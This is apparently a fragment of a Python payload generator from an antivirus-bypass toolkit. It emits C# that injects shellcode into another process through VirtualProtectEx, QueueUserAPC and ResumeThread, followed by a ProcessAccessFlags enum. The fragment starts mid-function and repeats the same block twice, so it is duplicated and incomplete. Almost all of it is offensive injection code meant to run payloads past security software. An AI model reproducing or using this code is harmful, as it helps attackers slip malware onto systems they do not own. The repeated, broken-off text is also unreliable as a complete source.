# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):
# 
# Path: Tools/Bypass/bypass_common/shellcode_help.py
# class Shellcode:
#     def __init__(self, cli_obj):
#     def Reset(self):
#     def LoadModules(self):
#     def payload_selection_menu(self, showTitle=True):
#     def menu(self):
#     def generate(self, required_options=None):
# def cli_msf_shellcode_gen(command_line_args):


import base64
import os
from Tools.Bypass.bypass_common import bypass_helpers # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import gamemaker # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import shellcode_help # pylint: disable=E0611,E0401
        code += "\t" * num_tabs + "\tuint {0} = 0;\n".format(oldProtect)
        code += "\t" * num_tabs + "\t{0} = VirtualProtectEx({1}.hProcess, {2}, {3}.Length, PAGE_EXECUTE_READ, out {4} );\n".format(resultBool, processInformation, resultPtr, shellCode, oldProtect)
        code += "\t" * num_tabs + "\tProcess {0} = Process.GetProcessById((int){1}.dwProcessId);\n".format(targetProc, processInformation)
        code += "\t" * num_tabs + "\tProcessThreadCollection {0} = {1}.Threads;\n".format(currentThreads, targetProc)
        code += "\t" * num_tabs + "\tIntPtr {0} = OpenThread(ThreadAccess.SET_CONTEXT, false, {1}[0].Id);\n".format(sht, currentThreads)
        code += "\t" * num_tabs + "\tIntPtr {0} = QueueUserAPC({1},{2},IntPtr.Zero);\n".format(ptr, resultPtr, sht)
        code += "\t" * num_tabs + "\tIntPtr {0} = {1}.hThread;\n".format(ThreadHandle, processInformation)
        code += "\t" * num_tabs + "\tResumeThread({0});\n".format(ThreadHandle)
        code += "\t" * num_tabs + "}\n"
        code += """
            private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READ = 0x20;
            private static UInt32 PAGE_READWRITE = 0x04;

            [Flags]
            public enum ProcessAccessFlags : uint
            {
                All = 0x001F0FFF,
                Terminate = 0x00000001,
                CreateThread = 0x00000002,
                VirtualMemoryOperation = 0x00000008,
                VirtualMemoryRead = 0x00000010,
                VirtualMemoryWrite = 0x00000020,
                DuplicateHandle = 0x00000040,
                CreateProcess = 0x000000080,
                SetQuota = 0x00000100,
                SetInformation = 0x00000200,
                QueryInformation = 0x00000400,
                QueryLimitedInformation = 0x00001000,
                Synchronize = 0x00100000

# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):
# 
# Path: Tools/Bypass/bypass_common/shellcode_help.py
# class Shellcode:
#     def __init__(self, cli_obj):
#     def Reset(self):
#     def LoadModules(self):
#     def payload_selection_menu(self, showTitle=True):
#     def menu(self):
#     def generate(self, required_options=None):
# def cli_msf_shellcode_gen(command_line_args):


# Path: Tools/Bypass/payloads/regsvr32/shellcode_inject/base64_migrate.py
import base64
import os
from Tools.Bypass.bypass_common import bypass_helpers # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import gamemaker # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import shellcode_help # pylint: disable=E0611,E0401

        code += "\t" * num_tabs + "\tuint {0} = 0;\n".format(oldProtect)
        code += "\t" * num_tabs + "\t{0} = VirtualProtectEx({1}.hProcess, {2}, {3}.Length, PAGE_EXECUTE_READ, out {4} );\n".format(resultBool, processInformation, resultPtr, shellCode, oldProtect)
        code += "\t" * num_tabs + "\tProcess {0} = Process.GetProcessById((int){1}.dwProcessId);\n".format(targetProc, processInformation)
        code += "\t" * num_tabs + "\tProcessThreadCollection {0} = {1}.Threads;\n".format(currentThreads, targetProc)
        code += "\t" * num_tabs + "\tIntPtr {0} = OpenThread(ThreadAccess.SET_CONTEXT, false, {1}[0].Id);\n".format(sht, currentThreads)
        code += "\t" * num_tabs + "\tIntPtr {0} = QueueUserAPC({1},{2},IntPtr.Zero);\n".format(ptr, resultPtr, sht)
        code += "\t" * num_tabs + "\tIntPtr {0} = {1}.hThread;\n".format(ThreadHandle, processInformation)
        code += "\t" * num_tabs + "\tResumeThread({0});\n".format(ThreadHandle)
        code += "\t" * num_tabs + "}\n"
        code += """
            private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READ = 0x20;
            private static UInt32 PAGE_READWRITE = 0x04;

            [Flags]
            public enum ProcessAccessFlags : uint
            {
                All = 0x001F0FFF,
                Terminate = 0x00000001,
                CreateThread = 0x00000002,
                VirtualMemoryOperation = 0x00000008,
                VirtualMemoryRead = 0x00000010,
                VirtualMemoryWrite = 0x00000020,
                DuplicateHandle = 0x00000040,
                CreateProcess = 0x000000080,
                SetQuota = 0x00000100,
                SetInformation = 0x00000200,
                QueryInformation = 0x00000400,
                QueryLimitedInformation = 0x00001000,
                Synchronize = 0x00100000

            }